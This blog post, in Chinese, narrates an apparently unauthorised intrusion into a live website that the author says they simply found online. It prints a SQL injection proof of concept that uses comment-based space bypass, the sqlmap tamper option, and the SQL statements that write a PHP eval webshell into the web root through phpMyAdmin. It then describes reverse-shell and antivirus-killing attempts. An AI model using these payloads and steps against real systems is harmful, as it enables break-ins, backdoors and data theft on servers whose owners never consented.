[实战]从SQL注入到webshell

前言

  由于上篇实在是水了,,,所以就网上搜集了一番,然后就找到了一个。。。

  首先检查一下sql注入,然后在下载文件的地方发现了一处,而且还把网站的物理路径暴露出来了。




  接着就找了下验证的POC,发现它过滤了空格,因为当and 1=2的时候也返回了真。




  所以考虑使用/**/太代替空格,发现确实可行。
1
2
3
poc: 
?sid=1300/**/and/**/1=2
?sid=1300/**/and/**/1=1

  如图:






  所以接下来我就是用了sqlmap进行注入,只需要加上--tamper space2comment。经过好一番的查找,才拿到了数据库中的账号和密码。




  按照套路,我们就要找后台了。但这里并没有那么愉快,扫描了一下网站目录,却没有找到有价值的线索。只是暴露了几个目录遍历漏洞。






  而且从账号上暴露的phpmyadmin用户猜想到有phpmyadmin目录,但是也没有找到。




  然后就想使用XSS看看能不能找到管理员的后台地址,但结果是留言板确实是存在xss但却没有找到管理员的地址。




  带着cookie访问XSS打到的网址是报了个验证码错误,所以这条线也走不了了。

  后来经前辈提醒,可以直接使用http://ip/phpmyadmin的访问方式试试,那么首先检测一下有没有CDN。用多地ping检测了一下,发现应该是没有CDN,然后直接访问看看。




  最后使用root账号密码登陆进去了。由于物理路径已经知道了,那么后面的操作就简单了,直接使用mysql写一句话后门。
1
2
3
4
Create TABLE a (cmd text NOT NULL);
Insert INTO a (cmd) VALUES('<?php @eval($_POST[cmd])?>');
select cmd from a into outfile 'C:/暴露出来的根路径/out.php';
Drop TABLE IF EXISTS a;

  随便找个表执行下上面的sql语句即可。






  然后访问根目录下的out.php






  但是使用菜刀连接时却发现连接不上,估计是有WAF。而从phpinfo暴露出来的环境可以知道是内网,并且权限很高,所以心就更痒痒了。






  所以我们要采用迂回战术,,,我们看看能不能反弹shell。但是发现反弹回来立马被干掉了。。。




  看看目标的进程,发现是趋势杀软






  这里尝试将它的进程结束掉,但却没有用。由于明天强网杯,而且杀软也还想到法绕过,所以暂且放下,两天后再战。。。
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  

评论

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×